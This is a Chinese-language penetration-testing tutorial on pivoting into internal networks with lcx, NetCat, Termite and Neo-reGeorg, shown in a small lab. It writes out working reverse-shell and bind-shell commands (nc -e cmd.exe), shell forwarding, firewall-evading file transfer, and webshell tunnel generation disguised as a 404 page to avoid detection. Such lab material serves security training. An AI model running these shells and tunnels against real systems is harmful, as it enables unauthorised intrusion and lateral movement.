內網代理工具的使用(一)
內網代理工具使用
利用代理工具可以將內網的流量代理到本地進行訪問,這樣方便我們對內網進行縱向滲透。代理工具區分為正向代理和反向代理。正向代理就是將流量傳送代理裝置,由他代替本地主機去訪問內網目標;一般情況下防火牆不會允許外網機器隨意訪問內網,由內網主機主動交出許可權到代理機器,然後本地去連線代理機器,形成反向代理。
參考連結:https://blog.csdn.net/weixin_44508748/article/details/107345605?spm=1001.2014.3001.5506
實驗環境
物理機通PC1
PC1與通PC2 與物理機
物理機與PC2不相通
1.lcx
lcx是最經典的埠轉發工具,基於Socket套接字實現,有Windows與Linux兩個版本,Linux為portmap,Windows為lcx.exe
在PC1 上執行以下命令
lcx.exe -listen 1111 11122
# 埠1111是目標主機PC2連線本地的埠
# 埠11122是將接收到的伺服器內容轉發埠(物理機連線的埠)
在PC2上執行以下命令,將本地的8080埠轉發到PC1的1111埠
lcx.exe -slave 192.168.1.254 1111 127.0.0.1 8080
我們在物理機上訪問PC1的11122埠,可以訪問到服務
2.NetCat
NetCat,簡稱NC。除開埠轉發以下還對NC的埠探測、檔案傳輸、通訊功能做了簡單的演示:
NetCat 官方地址:http://netcat.sourceforge.net/
1.埠轉發
(1)正向連線(雞肋)
在PC1(192.168.1.254)執行命令將cmdshell繫結在本地5555埠上,將自己的命令列許可權交出來。
nc -l -p 5555 -t -e cmd.exe
# -t是通過telnet模式執行 cmd.exe 程式,可省略
在PC2執行命令連線。
nc -nvv 192.168.1.254 5555
(2)反向連線
PC1開啟監聽本地埠
nc -lp 5555
PC2 進行主動連線交出自己的cmd
nc -t -e cmd.exe 192.168.1.254 5555
2.埠探測
nc -vz -w 2 192.168.1.3 80-8080 # -v視覺化,-z掃描時不傳送資料,-w超時幾秒,後面跟數字
3.檔案傳輸
(1)正向傳輸
#PC1啟動監聽,將9995埠接收到的資料都寫到test檔案裡
nc -l -p 9995 > test
#本地往PC1伺服器的9995埠傳送資料
nc 192.168.1.254 9995 < 1.txt
(2)反向傳輸
#PC1啟動檔案傳送命令,通過9992埠傳送檔案
nc -l -p 9992 < 1.php
#服PC2執行命令下載PC1 :9992埠檔案,並把檔案存到當前目錄資料夾2.php
nc 192.168.1.154 9992 >2.php
對於PC1來說這是出去的流量,可利用此特性躲避防火牆。
4.NC通訊
#開啟監聽
nc -l -p 12345
#連線。形成聊天室,不加密
nc 192.168.1.10 12345
3.Termite工具
Termite是一款極度小巧靈活的跳板機,有別於傳統socks代理,它對於複雜內網環境下的滲透適用性更強,操作也極為簡便。程式分為兩部分,admin(控制端)和agent(為代理端節點),admin和agent所有選項用途均一致:
-l 指定本地socks埠,等待遠端連線
-c 指定遠端socks機器ip
-p 指定遠端socks機器埠
(1).正向連線
PC1開啟監聽
./admin_windows_x86.exe -l 6666
PC2開啟監聽
./admin_windows_x86.exe -l 7777
物理機連線PC1
#連線成功後檢視連線的隧道會話
show
#進入PC的會話
goto 1
#連線PC
connect 192.168.1.3 7777
傳送檔案
# 傳送檔案。將本地c:\unintall.log檔案傳送到目標伺服器命名為1.txt
goto 2
upfile c:\unintall.log 1.txt
(2)反向連線
反向連線用於穿透防火牆
#PC1保持監聽
./admin_windows_x86.exe -l 6666
#PC2主動連線PC1
./admin_windows_x86.exe -c 192.168.1.254 -p 6666
使用物理機直接連線PC1
./admin_windows_x86.exe -c 192.168.200.141 -p 6666
呼叫PC2 shell
將目標機器cmd shell轉發到本地12345埠
goto 2
shell 12345
#nc連線,得到cmdshell
nc 127.0.0.1 12345
埠轉發(並不是很好使)
#埠轉發。將目標3389轉發到本地1189,然後mstsc連線127.0.0.1:1189。注意多級轉發會造成流量擁堵,流量可能出不來
lcxtran 1189 192.168.1.3 3389
#socket代理
#配合proxychains驅動本地軟體對內網進行掃描,由本地1080將流量轉發到內網
socks 1080
4.Neo-reGeorg+Proxychains
主要功能把內網伺服器埠的資料通過http/https隧道轉發到本機,實現http協議的通訊。
我們用他的升級版本neo-reGeorg
寫於2020年,持續更新,重構版reGeorg,python寫的,提高穩定性和可用性,避免特徵檢測
傳輸內容經過變形 base64 加密,偽裝成 base64 編碼
直接請求響應可定製化 (如偽裝的404頁面)
HTTP Headers 的指令隨機生成,避免特徵檢測
HTTP Headers 可定製化
自定義 HTTP 響應碼
多 URL 隨機請求
服務端 DNS 解析
相容 python2 / python3
服務端環境的高相容性
aspx/ashx/jsp/jspx 已不再依賴 Session,可在無 Cookie 等惡劣環境正常執行
github:https://github.com/L-codes/Neo-reGeorg
原理圖如下:
生成webshell
python3 neoreg.py generate -k password
連線webshell
python3 neoreg.py -k password -u http://xx/tunnel.php
---------特殊用法---------
1.偽裝404
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
2.如需 Authorization 認證和定製的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
3.需要分散請求,可上傳到多個路徑上,如記憶體馬
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
4.使用埠轉發功能,非啟動 socks5 服務 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>
我們的PC1 是PHP環境
指令碼上傳後,使用Python執行指令碼進行連線。
python3 neoreg.py -k password -u http://192.168.200.141/tunnel.php
成功連線
然後就可以通過proxychains來利用socks代理來訪問內網,進行內網的訪問。